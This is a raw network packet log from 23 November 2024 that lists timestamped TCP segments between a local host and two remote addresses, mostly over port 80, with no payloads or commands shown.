Nov 23, 2024 03:21:13.228775978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.228812933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.228852987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.229825974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.229892969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.229934931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.230071068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.230952024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.230999947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.231045961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.231154919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.232130051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.232196093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.232234001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.232410908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.233252048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.233366013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.233366966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.233745098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.234373093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.234425068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.234469891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.234512091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.235501051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.235577106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.235616922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.235949993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.236645937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.236690044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.236735106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.236772060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.237802029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.237848997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.237889051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.237926960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.238938093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.239116907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.239164114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.240072966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.240225077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.240277052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.241209984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.241257906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.241313934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.242127895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.242341995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.242388964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.242443085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.242480993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.243468046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.243505955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.243578911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.243655920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.244673967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.244710922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.244719028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.244754076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.245806932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.245846033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.245860100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.245879889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.246901989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.246951103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.246999025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.247044086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.248039961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.248085976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.248131037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.248168945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.249167919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.249233961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.249273062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.249314070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.250299931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.250339985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.250411987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.250452042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.251466990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.251512051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.251569033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.251615047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.252592087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.252631903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.252697945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.252738953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.253731012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.253779888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.253824949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.253896952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.254864931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.254916906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.254962921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.255062103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.256002903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.256051064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.256098986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.256143093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.257143021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.257188082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.257232904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.257267952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.258272886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.258327961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.258375883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.258455038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.259417057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.259489059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.259530067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.259571075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.260513067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.260586977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.359050035 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.359568119 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.359580994 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.360027075 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:13.360032082 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:13.402316093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.402337074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.402368069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.402386904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.402669907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.402786970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.402837992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.403804064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.403861046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.403909922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.403943062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.404937029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.404989004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.405034065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.405087948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.406089067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.406156063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.406208038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.406261921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.407231092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.407286882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.407332897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.407413006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.408365011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.408411026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.408454895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.408502102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.409490108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.409533978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.409600973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.409650087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.410628080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.410670042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.410725117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.410769939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.411782026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.411827087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.411871910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.411915064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.412928104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.413007021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.413045883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.413093090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.414047956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.414136887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.414161921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.414206982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.415185928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.415232897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.415282011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.415327072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.416336060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.416380882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.416429043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.416475058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.417486906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.417537928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.417582989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.417630911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.418656111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.418704033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.418749094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.418788910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.419749975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.419794083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.419838905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.419878006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.420893908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.420943975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.420989990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.421027899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.422082901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.422137022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.422139883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.422187090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.423168898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.423216105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.423261881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.423342943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.424308062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.424357891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.424401999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.424529076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.425446987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.425497055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.425524950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.425622940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.426580906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.426637888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.426681042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.426721096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.427721977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.427774906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.427814007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.427851915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.428855896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.428905010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.428939104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.428983927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.430003881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.430049896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.430145025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.430190086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.431147099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.431201935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.431266069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.431317091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.432295084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.432341099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.432416916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.432457924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.433423996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.433509111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.433538914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.433578968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.434540987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.434587955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.434648991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.434694052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.435689926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.435801983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.435821056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.436032057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.436861038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.436913013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.436933994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.436973095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.437959909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.438008070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.438052893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.438093901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.439107895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.439153910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.439198971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.439243078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.440232992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.440298080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.440340996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.440387964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.441428900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.441473961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.441514969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.441560984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.442526102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.442573071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.442646027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.442694902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.443675041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.443752050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.443790913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.443864107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.444802046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.444854021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.444905996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.444945097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.445930004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.445981026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.446037054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.446096897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.447077990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.447196007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.447237968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.448219061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.448271036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.448314905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.448426962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.449353933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.449450016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.449476004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.449529886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.450489044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.450534105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.450598955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.450653076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.451622963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.451673031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.451723099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.451762915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.452765942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.452819109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.452864885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.452907085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.453896046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.453974009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.454013109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.454490900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.455010891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.455056906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.455141068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.455446959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.456170082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.456290960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.456340075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.457325935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.457376957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.457429886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.457587004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.458458900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.458503008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.458548069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.458595991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.459593058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.459649086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.459692955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.459742069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.460722923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.460772991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.460823059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.460872889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.461838961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.461908102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.603403091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.603460073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.603518009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.603920937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.603966951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.604043961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.604088068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.605062008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.605170965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.605227947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.606173992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.606287003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.606345892 CET	49760	80	192.168.2.4	31.41.244.11
